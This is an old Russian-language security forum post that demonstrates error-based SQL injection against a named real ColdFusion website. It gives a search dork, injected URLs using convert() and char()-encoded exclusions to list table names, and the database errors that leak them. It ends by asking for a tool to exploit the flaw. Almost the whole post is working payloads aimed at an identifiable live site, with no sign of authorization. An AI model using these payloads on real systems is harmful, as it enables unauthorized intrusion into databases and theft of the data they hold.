CFM SQL Injection! — ANTICHAT Forum

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.

Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.

⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

CFM SQL Injection!

09.08.2007, 12:48

thiem_jimmiifc

Новичок

Регистрация: 08.08.2007

Сообщений: 6

Провел на форуме:
31384

Репутация: 0

CFM SQL Injection!

http://google.com/

inurl: *.cfm?id=

http://www.newworldlibrary.com/productdetails.cfm?PC=385'

[Macromedia][SQLServer JDBC Driver][SQLServer]Line 3: Incorrect syntax near ''.

http://www.newworldlibrary.com/productdetails.cfm?PC=385 and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Category' to a column of data type int.

Convert String to ascii http://www.easycalculation.com/ascii-hex.php

Category convert to Ascii is: 67 97 116 101 103 111 114 121

char(67)%2bchar(97)%2bchar(116)%2bchar(101)%2bchar (103)%2bchar(111)%2bchar(114)%2bchar(121)

http://www.newworldlibrary.com/productdetails.cfm?PC=385and%201=convert(int,(sele ct%20top%201%20table_name%20from%20information_sch ema.tables%20where%20table_name%20not%20in%20(char (67)%2bchar(97)%2bchar(116)%2bchar(101)%2bchar(103 )%2bchar(111)%2bchar(114)%2bchar(121))))--sp_password

[Macromedia][SQLServer JDBC Driver][SQLServer]Syntax error converting the nvarchar value 'Address' to a column of data type int.

I need tool get this Bug.
Thanks